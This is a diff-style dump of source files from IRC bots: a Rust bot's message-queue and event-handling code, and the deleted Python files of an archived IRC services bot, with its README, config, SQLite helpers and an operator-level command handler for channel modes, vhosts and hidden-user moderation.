fn queue(&mut self, msg: &str) {
|
||||
let mut msg = msg.replace("\r", "").replace("\n", "");
|
||||
|
||||
if msg.len() > MAX_MSG_LEN - "\r\n".len() {
|
||||
let mut i = 0;
|
||||
|
||||
while i < msg.len() {
|
||||
let max = (MAX_MSG_LEN - "\r\n".len()).min(msg[i..].len());
|
||||
|
||||
let mut m = msg[i..(i + max)].to_owned();
|
||||
println!(">> {:?}", m);
|
||||
m = m + "\r\n";
|
||||
self.send_queue.push_back(m);
|
||||
i += MAX_MSG_LEN - "\r\n".len()
|
||||
}
|
||||
} else {
|
||||
println!(">> {:?}", msg);
|
||||
msg = msg + "\r\n";
|
||||
self.send_queue.push_back(msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn event_ping(&mut self, ping_token: &str) {
|
||||
self.queue(&format!("PONG {}", ping_token));
|
||||
}
|
||||
|
||||
fn event_welcome(&mut self) {
|
||||
self.join();
|
||||
}
|
||||
|
||||
fn update_nick(&mut self, new_nick: &str) {
|
||||
self.nick = new_nick.to_owned();
|
||||
self.queue(&format!("NICK {}", self.nick));
|
||||
}
|
||||
|
||||
fn event_kick(&mut self, channel: &str, nick: &str, message: &str) {
|
||||
if nick != &self.nick {
|
||||
return;
|
||||
}
|
||||
|
||||
println!("we got kicked!");
|
||||
println!("{message}");
|
||||
|
||||
//TODO: fix this in case a key is needed.
|
||||
self.join_manual(channel, None);
|
||||
}
|
||||
|
||||
fn event_quit(&mut self, prefix: &IrcPrefix) {
|
||||
if prefix.nick != self.nick {
|
||||
return;
|
||||
}
|
||||
|
||||
println!("need to reconnect.");
|
||||
std::thread::sleep(Duration::from_secs(15));
|
||||
self.connect().unwrap();
|
||||
self.register();
|
||||
}
|
||||
|
||||
fn event_invite(&mut self, prefix: &IrcPrefix, channel: &str) {
|
||||
println!("{} invited us to {}", prefix.nick, channel);
|
||||
}
|
||||
|
||||
fn execute_default(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
|
||||
let Some(default_func) = self.default_system else { return; };
|
||||
|
||||
let mut elements = message.split_whitespace();
|
||||
elements.next();
|
||||
|
||||
let Some(output) = default_func(self, prefix, elements.collect()) else {
|
||||
return;
|
||||
};
|
||||
|
||||
for line in output {
|
||||
self.privmsg(channel, &line);
|
||||
}
|
||||
}
|
||||
|
||||
fn event_privmsg(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
|
||||
if message.starts_with(&self.cmdkey) {
|
||||
let mut elements = message.split_whitespace();
|
||||
let sys_name = &elements.next().unwrap()[1..];
|
||||
|
||||
let Some(func) = self.systems.get(sys_name) else {
|
||||
self.execute_default(prefix, channel, message);
|
||||
return;
|
||||
};
|
||||
|
||||
let Some(output) = func(self, prefix, elements.collect()) else {
|
||||
return;
|
||||
};
|
||||
|
||||
for line in output {
|
||||
self.privmsg(channel, &line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn event_join(&mut self, prefix: &IrcPrefix, _channel: &str) {
|
||||
if prefix.nick != self.nick {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn privmsg(&mut self, channel: &str, message: &str) {
|
||||
self.queue(&format!("PRIVMSG {} :{}", channel, message));
|
||||
}
|
||||
|
||||
pub fn privmsg_all(&mut self, message: &str) {
|
||||
for i in 0..self.channels.len() {
|
||||
let channel = &self.channels[i];
|
||||
self.queue(&format!("PRIVMSG {} :{}", channel.name, message));
|
||||
}
|
||||
}
|
||||
}
|
@ -1,12 +0,0 @@
|
||||
host: localhost
|
||||
port: 6697
|
||||
ssl: true
|
||||
|
||||
channels:
|
||||
- name: "#drugwars"
|
||||
|
||||
nick: abc
|
||||
user: manhello
|
||||
real: manhello
|
||||
|
||||
cmdkey: .
|
@ -1,42 +0,0 @@
|
||||
###### Information
|
||||
This project is no longer being maintained & is made available for historical purposes only.
|
||||
|
||||
The IRCS project is basically a stripped down version of [Anope](https://www.anope.org/)'s bots all crammed into one & was developed for usage with [UnrealIRCd](https://www.unrealircd.org/) 4.
|
||||
|
||||
###### Setup
|
||||
You will get the lowest ping having the bot connect to localhost on the same box as the IRCd is running.
|
||||
|
||||
The bot *will* require network operator privledges in order to work, so make sure you add that into your IRCd configuration.
|
||||
|
||||
Edit [`config.py`](https://github.com/acidvegas/ircs/blob/master/ircs/core/config.py) and change the `oper_passwd` and the `admin_host` settings.
|
||||
|
||||
###### Commands
|
||||
| Mode Command | Description | Restriction |
|
||||
| --- | --- | --- |
|
||||
| !mode \<chan> | Read all the auto-mode hosts for \<channel>. | *+q only* |
|
||||
| !mode \<chan> \<mode> | Read all the \<mode> auto-mode hosts for \<channel>. | *+q only* |
|
||||
| !mode \<chan> \<mode> +\<ident> | Automatically +\<mode> a user matching \<ident>. | *+q only* |
|
||||
| !mode \<chan> \<mode> -\<ident> | Remove automatic +\<mode> from a user matching \<ident>. | *+q only* |
|
||||
| !sync \<chan> | Set all the channels stored in the database for \<channel>. | *+q only* |
|
||||
|
||||
| Vhost Command | Description | Restriction |
|
||||
| --- | --- | --- |
|
||||
| !vhost add \<ident> \<vhost> | Change the host of \<ident> to \<vhost> on connect. | *admin only*|
|
||||
| !vhost drop \<ident> | Delete the VHOST registered to \<ident>. | *admin only* |
|
||||
| !vhost list | Return a list of all activated VHOSTs. | *admin only* |
|
||||
| !vhost on | Turn on your VHOST. | *vhost users only* |
|
||||
| !vhost off | Turn off your VHOST. | *vhost users only*|
|
||||
| !vhost sync | Change your current hostmask to your VHOST. | *vhost users only* |
|
||||
|
||||
| Admin Command | Description | Restriction |
|
||||
| --- | --- | --- |
|
||||
| !husers | List all users connected but not joined to any channel(s). | *admin only* |
|
||||
| !husers join \<channel> | Force join all hidden users into \<channe>. | *admin only* |
|
||||
| !husers kill | Kill the connection of all hidden users. | *admin only* |
|
||||
| !husers gline | G:Line the connection of all hidden users. | *admin only* |
|
||||
| !husers gzline | GZ:Line the connection of all hidden users. | *admin only* |
|
||||
|
||||
###### Mirrors
|
||||
- [acid.vegas](https://acid.vegas/random) *(main)*
|
||||
- [GitHub](https://github.com/acidvegas/random)
|
||||
- [GitLab](https://gitlab.com/acidvegas/random)
|
@ -1,20 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
|
||||
# config.py
|
||||
|
||||
# Connection
|
||||
server = 'localhost'
|
||||
port = 6667
|
||||
use_ipv6 = False
|
||||
use_ssl = False
|
||||
vhost = None
|
||||
password = None
|
||||
|
||||
# Identity
|
||||
nickname = 'IRCS'
|
||||
username = 'ircs'
|
||||
realname = 'IRC Services Bot'
|
||||
|
||||
# Admin
|
||||
admin_host = 'CHANGEME'
|
||||
oper_passwd = 'CHANGEME'
|
@ -1,70 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
|
||||
# debug.py
|
||||
|
||||
import ctypes
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import string
|
||||
|
||||
def check_data(data):
|
||||
if all(c in string.printable for c in data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def check_privileges():
|
||||
if check_windows():
|
||||
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
if os.getuid() == 0 or os.geteuid() == 0:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def check_version(major):
|
||||
if sys.version_info.major == major:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def check_windows():
|
||||
if os.name == 'nt':
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def clear():
|
||||
if check_windows():
|
||||
os.system('cls')
|
||||
else:
|
||||
os.system('clear')
|
||||
|
||||
def error(msg, reason=None):
|
||||
if reason:
|
||||
print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
|
||||
else:
|
||||
print('{0} | [!] - {1}'.format(get_time(), msg))
|
||||
|
||||
def error_exit(msg):
|
||||
raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
def info():
|
||||
clear()
|
||||
print(''.rjust(56, '#'))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#{0}#'.format('IRC Services (IRCS)'.center(54)))
|
||||
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
|
||||
print('#{0}#'.format('https://acid.vegas/ircs'.center(54)))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print(''.rjust(56, '#'))
|
||||
|
||||
def irc(msg):
|
||||
print('{0} | [~] - {1}'.format(get_time(), msg))
|
@ -1,113 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
|
||||
# functions.py
|
||||
|
||||
import inspect
|
||||
import os
|
||||
import sqlite3
|
||||
import string
|
||||
|
||||
# Database
|
||||
database_dir = os.path.join(os.path.dirname(os.path.realpath(inspect.stack()[-1][1])), 'data')
|
||||
database_file = os.path.join(database_dir, 'ircs.db')
|
||||
|
||||
# Globals
|
||||
db = sqlite3.connect(database_file)
|
||||
sql = db.cursor()
|
||||
|
||||
class Database:
|
||||
def check():
|
||||
tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
|
||||
if len(tables):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def create():
|
||||
sql.execute('CREATE TABLE CHANSERV (CHANNEL TEXT NOT NULL, IDENT TEXT NOT NULL, MODE TEXT NOT NULL);')
|
||||
sql.execute('CREATE TABLE HOSTSERV (IDENT TEXT NOT NULL, VHOST TEXT NOT NULL, STATUS TEXT NOT NULL);')
|
||||
db.commit()
|
||||
|
||||
|
||||
|
||||
class ChanServ:
|
||||
def add_mode(chan, ident, mode):
|
||||
sql.execute('INSERT INTO CHANSERV (CHANNEL,IDENT,MODE) VALUES (?, ?, ?)', (chan, ident, mode))
|
||||
db.commit()
|
||||
|
||||
def channels():
|
||||
return set(list(item[0] for item in sql.execute('SELECT CHANNEL FROM CHANSERV ORDER BY CHANNEL ASC').fetchall()))
|
||||
|
||||
def del_mode(chan, ident):
|
||||
sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident))
|
||||
db.commit()
|
||||
|
||||
def drop(chan):
|
||||
sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=?', (chan,))
|
||||
db.commit()
|
||||
|
||||
def get_mode(chan, ident):
|
||||
data = sql.execute('SELECT MODE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident)).fetchone()
|
||||
if data:
|
||||
return data[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def hosts():
|
||||
return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
|
||||
|
||||
def idents(chan, mode=None):
|
||||
if mode:
|
||||
return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=?', (channel, mode)).fetchall())
|
||||
else:
|
||||
return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=?', (channel,)).fetchall())
|
||||
|
||||
def read(channel, mode=None):
|
||||
if mode:
|
||||
return sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel, mode)).fetchall()
|
||||
else:
|
||||
return sql.execute('SELECT IDENT,MODE FROM CHANSERV WHERE CHANNEL=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel,)).fetchall()
|
||||
|
||||
|
||||
|
||||
class HostServ:
|
||||
def add(ident, vhost):
|
||||
sql.execute('INSERT INTO HOSTSERV (IDENT,VHOST,STATUS) VALUES (?, ?, \'pending\')', (ident, vhost))
|
||||
db.commit()
|
||||
|
||||
def delete(ident):
|
||||
sql.execute('DELETE FROM HOSTSERV WHERE IDENT=?', (ident,))
|
||||
db.commit()
|
||||
|
||||
def get_vhost(ident, active=False):
|
||||
data = sql.execute('SELECT VHOST FROM HOSTSERV WHERE IDENT=? AND STATUS=\'on\'', (ident,)).fetchone()
|
||||
if data:
|
||||
return data[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_status(ident):
|
||||
data = sql.execute('SELECT STATUS FROM HOSTSERV WHERE IDENT=?', (ident,)).fetchone()
|
||||
if data:
|
||||
return data[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def hosts():
|
||||
return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
|
||||
|
||||
def idents():
|
||||
return list(item[0] for item in sql.execute('SELECT IDENT FROM HOSTSERV').fetchall())
|
||||
|
||||
def pending():
|
||||
return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV WHERE STATUS=\'pending\' ORDER BY IDENT ASC').fetchall()
|
||||
|
||||
def read():
|
||||
return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV ORDER BY IDENT ASC').fetchall()
|
||||
|
||||
def set_status(ident, status):
|
||||
sql.execute('UPDATE HOSTSERV SET STATUS=? WHERE IDENT=?', (status, ident))
|
||||
db.commit()
|
||||
|
||||
def vhosts():
|
||||
return list(item[0] for item in sql.execute('SELECT VHOST FROM HOSTSERV').fetchall())
|
@ -1,433 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
|
||||
# irc.py
|
||||
|
||||
import socket
|
||||
import ssl
|
||||
import time
|
||||
|
||||
import config
|
||||
import debug
|
||||
from functions import Database, ChanServ, HostServ
|
||||
|
||||
# Formatting Control Characters / Color Codes
|
||||
bold = '\x02'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
class IRC(object):
|
||||
server = config.server
|
||||
port = config.port
|
||||
use_ipv6 = config.use_ipv6
|
||||
use_ssl = config.use_ssl
|
||||
vhost = config.vhost
|
||||
password = config.password
|
||||
nickname = config.nickname
|
||||
username = config.username
|
||||
realname = config.realname
|
||||
oper_passwd = config.oper_passwd
|
||||
admin_host = config.admin_host
|
||||
|
||||
def __init__(self):
|
||||
self.husers = list()
|
||||
self.last = dict()
|
||||
self.sock = None
|
||||
|
||||
def action(self, chan, msg):
|
||||
self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
|
||||
|
||||
def chghost(self, nick, host):
|
||||
self.raw('CHGHOST {0} {1}'.format(nick, host))
|
||||
|
||||
def color(self, msg, foreground, background=None):
|
||||
if background:
|
||||
return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
|
||||
else:
|
||||
return '\x03{0}{1}{2}'.format(foreground, msg, reset)
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.create_socket()
|
||||
self.sock.connect((self.server, self.port))
|
||||
if self.password:
|
||||
self.raw('PASS ' + self.password)
|
||||
self.raw('USER {0} 0 * :{1}'.format(self.username, self.realname))
|
||||
self.raw('NICK ' + self.nickname)
|
||||
except socket.error as ex:
|
||||
debug.error('Failed to connect to IRC server.', ex)
|
||||
self.event_disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def create_socket(self):
|
||||
if self.use_ipv6:
|
||||
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
||||
else:
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if self.vhost:
|
||||
self.sock.bind((self.vhost, 0))
|
||||
if self.use_ssl:
|
||||
self.sock = ssl.wrap_socket(self.sock)
|
||||
|
||||
def error(self, target, msg, reason=None):
|
||||
if reason:
|
||||
self.sendmsg(target, '[{0}] {1} {2}'.format(self.color('ERROR', red), msg, self.color('({0})'.format(str(reason)), grey)))
|
||||
else:
|
||||
self.sendmsg(target, '[{0}] {1}'.format(self.color('ERROR', red), msg))
|
||||
|
||||
def event_connect(self):
|
||||
self.mode(self.nickname, '+Bd')
|
||||
self.oper(self.username, self.oper_passwd)
|
||||
if Database.check():
|
||||
for channel in ChanServ.channels():
|
||||
self.join(channel)
|
||||
else:
|
||||
Database.create()
|
||||
|
||||
def event_connection(self, nick, ident):
|
||||
vhost = HostServ.get_vhost(ident, True)
|
||||
if vhost:
|
||||
self.chghost(nick, vhost)
|
||||
|
||||
def event_disconnect(self):
|
||||
self.sock.close()
|
||||
time.sleep(10)
|
||||
self.connect()
|
||||
|
||||
def event_end_of_who(self):
|
||||
if self.last['cmd'] == 'husers':
|
||||
if self.husers:
|
||||
self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(self.husers), grey)))
|
||||
else:
|
||||
self.error(self.last['nick'], 'No hidden users found.')
|
||||
|
||||
def event_join(self, nick, ident, chan):
|
||||
mode = ChanServ.get_mode(chan, ident)
|
||||
if mode:
|
||||
self.mode(chan, '+{0} {1}'.format(mode, nick))
|
||||
|
||||
def event_kick(self, chan, kicked):
|
||||
if kicked == self.nickname:
|
||||
if chan in Database.channels():
|
||||
self.join(chan)
|
||||
|
||||
def event_nick_in_use(self):
|
||||
debug.error_exit('IRCS is already running.')
|
||||
|
||||
def event_notice(self, nick, data):
|
||||
if '.' in nick or nick == self.server:
|
||||
args = data.split()
|
||||
if 'Client connecting' in data:
|
||||
nick = args[6]
|
||||
ident = args[7][1:][:-1]
|
||||
self.event_connection(nick, ident)
|
||||
|
||||
def event_private(self, nick, ident, msg):
|
||||
try:
|
||||
args = msg.split()
|
||||
cmd = args[0][1:]
|
||||
host = ident.split('@')[1]
|
||||
if cmd == 'husers' and host == self.admin_host:
|
||||
if len(args) == 1:
|
||||
self.husers = list()
|
||||
self.last = {'nick':nick,'cmd':'husers'}
|
||||
self.who('I', '*')
|
||||
elif len(args) == 2:
|
||||
if args[1] == 'kill':
|
||||
if self.husers:
|
||||
self.action(nick, 'Killing all hidden users...')
|
||||
for item in self.husers:
|
||||
self.kill(item['nick'], 'Killed by IRCS anti-bot protection.')
|
||||
else:
|
||||
self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
|
||||
elif args[1] == 'gzline':
|
||||
if self.husers:
|
||||
self.action(nick, 'Z:Lining all hidden users...')
|
||||
for item in self.husers:
|
||||
self.gzline(item['host'], '1d', 'Banned by IRCS anti-bot protection.')
|
||||
else:
|
||||
self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
|
||||
elif len(args) == 3:
|
||||
if args [1] == 'join':
|
||||
channel = args[2]
|
||||
if channel.startswith('#') and len(channel) <= 20:
|
||||
if self.husers:
|
||||
self.action(nick, 'Joining all hidden users to {0}...'.format(channel))
|
||||
for item in self.husers:
|
||||
self.sajoin(item['nick'], channel)
|
||||
else:
|
||||
self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
elif cmd == 'mode':
|
||||
if len(args) > 1:
|
||||
channel = args[1]
|
||||
if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
|
||||
if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
|
||||
if len(args) == 2:
|
||||
if channel in ChanServ.channels():
|
||||
data = ChanServ.read(channel)
|
||||
self.sendmsg(nick, '[{0}]'.format(self.color(channel, purple)))
|
||||
for row in data:
|
||||
self.sendmsg(nick, '{0} | {1}'.format(self.color('+' + row[1], grey), self.color(row[0], yellow)))
|
||||
self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
|
||||
else:
|
||||
self.error(nick, self.color(channel, purple) + ' does not exist.')
|
||||
elif len(args) == 3:
|
||||
if args[2] in ('a','h','o','v','q'):
|
||||
if channel in ChanServ.channels():
|
||||
mode = args[2]
|
||||
data = ChanServ.read(channel, mode)
|
||||
if data:
|
||||
self.sendmsg(nick, '[{0}] {1}'.format(self.color(channel, purple) , self.color('(+{0})'.format(mode), grey)))
|
||||
for row in data:
|
||||
self.sendmsg(nick, self.color(row[0], yellow))
|
||||
self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
|
||||
else:
|
||||
self.error(nick, self.color('+{0}'.format(mode), grey) + ' is empty.')
|
||||
else:
|
||||
self.error(nick, self.color(channel, purple) + ' does not exist.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
elif len(args) == 4:
|
||||
if args[2] in ('a','h','o','v','q') and args[3][:1] in '+-' and len(args[3]) <= 63 and debug.check_data(args[3]):
|
||||
mode = args[2]
|
||||
if mode == 'q' and host != self.admin_host:
|
||||
self.error(nick, 'You do not have permission to change this mode.')
|
||||
else:
|
||||
action = args[3][:1]
|
||||
ident = args[3][1:]
|
||||
if action == '+':
|
||||
if not ChanServ.get_mode(channel, ident):
|
||||
ChanServ.add_mode(channel, ident, mode)
|
||||
self.sendmsg(nick, '{0} {1} has been {2} to the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('added', green), self.color(channel, purple)))
|
||||
else:
|
||||
self.error(nick, '{0} already exists in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
|
||||
elif action == '-':
|
||||
if ChanServ.get_mode(channel, ident):
|
||||
ChanServ.del_mode(channel, ident)
|
||||
self.sendmsg(nick, '{0} {1} has been {2} from the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('removed', red), self.color(channel, purple)))
|
||||
else:
|
||||
self.error(nick, '{0} does not exist in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'You do not have permission to use this command.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
elif cmd == 'sync':
|
||||
if len(args) == 2:
|
||||
channel = args[1]
|
||||
if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
|
||||
if channel in ChanServ.channels():
|
||||
if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
|
||||
self.action(nick, 'Syncing all modes in {0}...'.format(color(channel, purple)))
|
||||
self.last['cmd'] = 'sync ' + channel
|
||||
self.who('h', '*')
|
||||
else:
|
||||
self.error(nick, 'You do not have permission to use this command.')
|
||||
else:
|
||||
self.error(nick, '{0} does not exist.'.format(color(channel, purple)))
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
elif cmd == 'vhost':
|
||||
if len(args) == 2:
|
||||
if args[1] == 'list':
|
||||
if host == self.admin_host:
|
||||
vhosts = HostServ.read()
|
||||
if vhosts:
|
||||
self.sendmsg(nick, '[{0}]'.format(self.color('Registered Vhosts', purple)))
|
||||
for vhost in vhosts:
|
||||
self.sendmsg(nick, '{0} {1}'.format(self.color(vhost[0], yellow), self.color('({0})'.format(vhost[1]), grey)))
|
||||
self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(vhosts), grey)))
|
||||
else:
|
||||
self.error(nick, 'Vhost list is empty.')
|
||||
else:
|
||||
self.error(nick, 'You do not have permission to use this command.')
|
||||
elif args[1] == 'off':
|
||||
status = HostServ.get_status(ident)
|
||||
if status == 'off':
|
||||
self.error(nick, 'VHOST is already turned off.')
|
||||
elif status == 'on':
|
||||
HostServ.set_status(ident, 'off')
|
||||
self.sendmsg(nick, 'VHOST has been turned ' + color('off', red))
|
||||
else:
|
||||
self.error(nick, 'You do not have a registered VHOST.')
|
||||
elif args[1] == 'on':
|
||||
status = HostServ.get_status(ident)
|
||||
if status == 'off':
|
||||
HostServ.set_status(ident, 'on')
|
||||
self.sendmsg(nick, 'VHOST has been turned ' + color('on', green))
|
||||
elif status == 'on':
|
||||
self.error(nick, 'Your VHOST is already turned on.')
|
||||
else:
|
||||
self.error(nick, 'You do not have a registered VHOST.')
|
||||
elif args[1] == 'sync':
|
||||
vhost = HostServ.get_vhost(ident)
|
||||
if host == vhost:
|
||||
self.error(nick, 'Your VHOST is already synced and working.')
|
||||
elif vhost:
|
||||
self.action(nick, 'Syncing VHOST...')
|
||||
self.chghost(nick, vhost)
|
||||
else:
|
||||
self.error(nick, 'You do not have a registered VHOST.')
|
||||
elif len(args) == 3:
|
||||
if args[1] == 'drop':
|
||||
if host == self.admin_host:
|
||||
ident = args[2]
|
||||
if ident in HostServ.idents():
|
||||
HostServ.delete(ident)
|
||||
self.sendmsg(nick, '{0} has been {1} from the vhost database.'.format(self.color(ident, light_blue), self.color('removed', red)))
|
||||
else:
|
||||
self.error(nick, '{0} does not have a vhost.'.format(self.color(ident, light_blue)))
|
||||
else:
|
||||
self.error(nick, 'You do not have permission to use this command.')
|
||||
elif len(args) == 4:
|
||||
if args[1] == 'add':
|
||||
if host == self.admin_host:
|
||||
ident = args[2]
|
||||
vhost = args[3]
|
||||
if ident not in HostServ.idents():
|
||||
HostServ.add(ident, vhost)
|
||||
self.sendmsg(nick, '{0} has been {1} from the database.'.format(self.color(ident, light_blue), self.color('added', green)))
|
||||
else:
|
||||
self.error(nick, '{0} is already registered.'.format(color(ident, light_blue)))
|
||||
else:
|
||||
self.error(nick, 'You do not have permission to use this command.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
else:
|
||||
self.error(nick, 'Invalid arguments.')
|
||||
except Exception as ex:
|
||||
self.error(nick, 'Unexpected error has occured.', ex)
|
||||
|
||||
def event_who(self, chan, user, host, nick):
|
||||
if self.last:
|
||||
if self.last['cmd'] == 'husers':
|
||||
if chan == '*':
|
||||
self.husers.append({'user':user,'host':host,'nick':nick})
|
||||
self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color(nick, yellow), self.color('({0}@{1})'.format(user, host), grey)))
|
||||
elif self.last['cmd'].startswith('sync'):
|
||||
channel = self.last['cmd'].split()[1]
|
||||
if chan == channel:
|
||||
mode = ChanServ.mode(chan, '{0}@{1]'.format(user, host))
|
||||
if mode:
|
||||
self.mode(chan, '+{0} {1}'.format(mode, nick))
|
||||
|
||||
def gzline(self, host, duration, msg):
|
||||
self.raw('gzline *@{1} {2} {3}'.format(user, host, duration, msg))
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
self.event_connect()
|
||||
elif args[1] == '315':
|
||||
self.event_end_of_who()
|
||||
elif args[1] == '352':
|
||||
chan = args[3]
|
||||
user = args[4]
|
||||
host = args[5]
|
||||
nick = args[7]
|
||||
self.event_who(chan, user, host, nick)
|
||||
elif args[1] == '433':
|
||||
self.event_nick_in_use()
|
||||
elif args[1] == 'NOTICE':
|
||||
nick = args[0][1:]
|
||||
self.event_notice(nick, data)
|
||||
elif args[1] in ('JOIN','KICK','PRIVMSG'):
|
||||
nick = args[0].split('!')[0][1:]
|
||||
if nick != self.nickname:
|
||||
chan = args[2]
|
||||
if args[1] == 'JOIN':
|
||||
host = args[0].split('!')[1]
|
||||
self.event_join(nick, host, chan[1:])
|
||||
elif args[1] == 'KICK':
|
||||
kicked = args[3]
|
||||
self.event_kick(chan, kicked)
|
||||
elif args[1] == 'PRIVMSG':
|
||||
ident = args[0].split('!')[1]
|
||||
msg = data.split('{0} PRIVMSG {1} :'.format(args[0], chan))[1]
|
||||
if msg.startswith('!'):
|
||||
if chan == self.nickname:
|
||||
self.event_private(nick, ident, msg)
|
||||
|
||||
def join(self, chan):
|
||||
self.raw('JOIN ' + chan)
|
||||
self.mode(chan, '+q ' + self.nickname)
|
||||
|
||||
def kill(self, nick, reason):
|
||||
self.raw('KILL {0} {1}'.format(nick, reason))
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
if data:
|
||||
for line in (line for line in data.split('\r\n') if line):
|
||||
debug.irc(line)
|
||||
if line.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif len(line.split()) >= 2:
|
||||
self.handle_events(line)
|
||||
else:
|
||||
debug.error('No data recieved from server.')
|
||||
break
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
debug.error('Unicode error has occured.')
|
||||
except Exception as ex:
|
||||
debug.error('Unexpected error occured.', ex)
|
||||
break
|
||||
self.event_disconnect()
|
||||
|
||||
def mode(self, target, mode):
|
||||
self.raw('MODE {0} {1}'.format(target, mode))
|
||||
|
||||
def oper(self, nick, password):
|
||||
self.raw('OPER {0} {1}'.format(nick, password))
|
||||
|
||||
def part(self, chan, msg):
|
||||
self.raw('PART {0} {1}'.format(chan, msg))
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def sajoin(self, nick, chan):
|
||||
self.raw('SAJOIN {0} {1}'.format(nick, chan))
|
||||
|
||||
